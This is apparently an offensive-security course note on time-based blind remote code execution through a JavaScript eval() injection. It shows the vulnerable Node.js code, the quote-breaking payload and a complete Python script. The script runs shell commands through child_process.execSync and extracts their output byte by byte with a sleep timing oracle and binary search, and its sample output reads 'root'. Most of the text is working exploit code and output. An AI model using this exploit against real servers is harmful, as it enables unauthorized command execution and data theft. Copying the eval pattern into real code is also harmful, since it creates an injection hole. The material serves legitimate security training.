Time-based
Time-based blind RCE: sleep oracle + binary-search byte extraction
Attacker-controlled text is inserted into a JavaScript source string passed to eval(). No evaluated value or command output reaches the response, so execution is converted into a timing signal.
Vulnerable source
const text = req.body.text;
const errorSource = `throw({message: 'The input "${text}" contains invalid characters', statusCode: 403})`;
eval(errorSource);Break and repair
The injected value uses the following shape:
'}) + <ARBITRARY_JAVASCRIPT>//After interpolation, the source passed to eval() becomes:
throw({message: 'The input "'}) + <ARBITRARY_JAVASCRIPT>//" contains invalid characters', statusCode: 403})
The initial ' closes the message string, } and ) close the original object and surrounding parentheses, and // comments the original suffix. + keeps the injected expression inside the expression evaluated before throw completes. Starting a separate statement after throw would leave that statement unreachable.
Convert a condition into a timing signal
The response does not contain the evaluated result, so the exploit needs another observable result. A time oracle converts a Boolean condition into response time: a false condition returns normally, while a true condition runs sleep DELAY before returning. THRESH is the response-time boundary used by the script to classify each request as fast or delayed.
Read one command-output byte
The shell command runs first. head -c <POSITION> keeps the output through the required byte, and tail -c 1 keeps only that final byte. od -An -tu1 converts the byte into its unsigned decimal number. For example, the ASCII byte for r becomes 114.
The comparison [ $((v+0)) -gt <MIDPOINT> ] is true only when that number is greater than the supplied midpoint. The trailing && sleep <DELAY> therefore delays the HTTP response only for a true comparison.
Resolve the byte with binary search
byte_at() starts with the possible byte range 0 through 127. Each request asks whether the unknown byte is greater than the midpoint. A delayed response keeps the upper half of the range; a fast response keeps the lower half. Repeating this comparison reduces 128 possible values to one value in approximately seven requests.
The shell tools return no byte after the end of stdout. The arithmetic expression converts that empty result to 0, so a resolved value of 0 marks the end of command output and stops dump().
Payload constraints
execSync() waits for the shell test and any conditional sleep to finish before the HTTP request can complete. The shell snippet contains no single quotes because it is inserted inside execSync('...'); the command stored in CMD must follow the same constraint.
When JavaScript execution is available but child_process is not, a busy loop can produce the same delay without starting an operating-system process. The loop runs only when the tested condition is true:
const startTime = Date.now();
while (Date.now() - startTime < DELAY) {
}import time, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {}
GEN_URL = "https://target/api/service/generate"
CMD = "whoami" # stdout to exfiltrate (must contain no single quotes)
DELAY = 2 # sleep seconds == the time oracle
THRESH = DELAY - 0.5
def oracle(pos, val):
# True when the ordinal of CMD's stdout byte at 1-based <pos> is greater than <val>
bash = (f"v=$({CMD} | head -c {pos} | tail -c 1 | od -An -tu1);"
f"[ $((v+0)) -gt {val} ] && sleep {DELAY}")
payload = {"text": f"'}}) + require('child_process').execSync('{bash}')//"}
t = time.time()
s.post(GEN_URL, json=payload, verify=False, timeout=DELAY + 5, proxies=PROXIES)
is_delayed = time.time() - t >= THRESH
return is_delayed
def byte_at(pos):
lo, hi = 0, 127 # binary search resolves the byte in ~7 requests
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle(pos, mid):
lo = mid
else:
hi = mid - 1
return lo # 0 == no byte -> end of output
def dump():
out, pos = b"", 1
while True:
v = byte_at(pos)
if not v:
break
out += bytes([v])
print(f"[+] pos {pos}: {chr(v)!r} -> {out.decode(errors='replace')!r}")
pos += 1
print(f"[+] done: {out.decode(errors='replace')}")
return out
# s: authenticated requests.Session (admin bearer token already in s.headers)
dump()Time oracle signal
fast (~0.1s) -> output byte ordinal <= midpoint (False)
slow (~2.0s) -> output byte ordinal > midpoint (True, sleep fired)CMD=‘whoami’
[+] pos 1: 'r' -> 'r'
[+] pos 2: 'o' -> 'ro'
[+] pos 3: 'o' -> 'roo'
[+] pos 4: 't' -> 'root'
[+] done: rootFind by: javascript injection, blind RCE, time based, sleep oracle, child_process, execSync, binary search exfil, blind command output, while spin, setTimeout oracle · Source: CWEE/JavaScript Code Injection (Time Based Blind.md)